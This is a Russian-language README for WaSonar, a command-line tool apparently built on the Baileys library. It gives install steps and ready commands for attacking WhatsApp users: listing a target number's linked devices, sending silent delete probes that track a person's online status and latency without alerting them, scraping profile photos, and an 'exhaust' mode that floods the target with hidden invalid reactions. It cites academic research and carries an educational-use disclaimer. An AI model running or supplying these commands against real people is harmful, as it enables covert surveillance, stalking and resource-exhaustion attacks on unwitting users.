
Инструмент разведки и истощения ресурсов WhatsApp. Возможности: отслеживание устройств в реальном времени, скрытое RTT-зондирование и стресс-тестирование протокола для исследований в области безопасности.
Отказ от ответственности: Этот инструмент предназначен только для образовательных целей и исследований в области безопасности. Разработчики не несут ответственности за неправомерное использование. Пожалуйста, используйте его ответственно и этично.
WaSonar — это мощный CLI-инструмент, предназначенный для образовательных исследований, отслеживания устройств и стресс-тестирования протокола WhatsApp. Построен на основе Baileys.
npm install -g wasonar-cli
npx wasonar-cli <command>
git clone https://github.com/AjayAntoIsDev/wasonar.git
cd wasonar
npm install
Сначала необходимо авторизоваться с помощью аккаунта WhatsApp.
wasonar-cli login
Отсканируйте QR-код, который появится в вашем терминале.
Список всех устройств, подключённых к целевому номеру.
wasonar-cli devices <target-number>
# Пример:
wasonar-cli devices 919876543210
Основная функция. Отправка «тихих» проб для определения, находятся ли устройства онлайн, и измерения задержки.
# Бесконечное количество проб (по умолчанию)
wasonar-cli online 919876543210
# Отправка заданного количества проб
wasonar-cli online 919876543210 --probes 5
# Сохранение результатов в файл
wasonar-cli online 919876543210 --output ./logs
Примечание: PENDING/OFFLINE означает, что сервер получил сообщение, но целевое устройство не подтвердило его получение.
Получение фотографии профиля и статуса пользователя.
# Показать информацию и скачать фотографию профиля
wasonar-cli profile 919876543210 --output ./profiles
⚠️ ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Отправка высокочастотных полезных нагрузок большого размера.
# Агрессивный режим (по умолчанию: 250 запросов/с, полезная нагрузка 1 КБ)
wasonar-cli exhaust 919876543210
# Медленный режим (10 запросов/с, полезная нагрузка 500 Б)
wasonar-cli exhaust 919876543210 --aggression slow
# Задать длительность
wasonar-cli exhaust 919876543210 --duration 30
WaSonar использует «тихие пробы удаления» (Silent Delete Probes) для определения онлайн-статуса, не оповещая цель.
revoked (удаление) для несуществующего ID сообщения.delivery_receipt (статус 3) для протокольного сообщения.Основанная на исследовании «Careless Whisper», эта атака использует пробел в валидации обработки реакций в WhatsApp.
Хотя невалидные реакции не отображаются на телефоне цели, они всё равно принимаются и обрабатываются.
Данные исследований указывают на значительный потенциал для истощения ресурсов:
На основе исследования Gegenhuber и др., Венский университет и SBA Research:
@inproceedings{gegenhuber2024careless,
title={Careless Whisper: Exploiting Silent Delivery Receipts to Monitor Users on Mobile Instant Messengers},
author={Gegenhuber, Gabriel K. and G{\"u}nther, Maximilian and Maier, Markus and Judmayer, Aljosha and Holzbauer, Florian and Frenzel, Philipp {\'E}. and Ullrich, Johanna},
year={2024},
organization={University of Vienna, SBA Research}
}
Создано AjayAnto